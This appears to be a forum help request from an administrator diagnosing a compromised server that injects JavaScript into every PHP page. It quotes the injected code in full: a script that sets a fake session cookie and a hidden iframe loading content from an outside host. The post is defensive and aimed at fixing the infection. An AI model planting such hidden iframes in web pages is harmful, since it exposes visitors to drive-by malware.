I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

    <script type="text/javascript">
            d=new Date();
            d.setDate(d.getDate()+1);
            document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
          </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://ndel.sk990.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. 
Server running PHP 5.2.17 and Apache 2.2.17.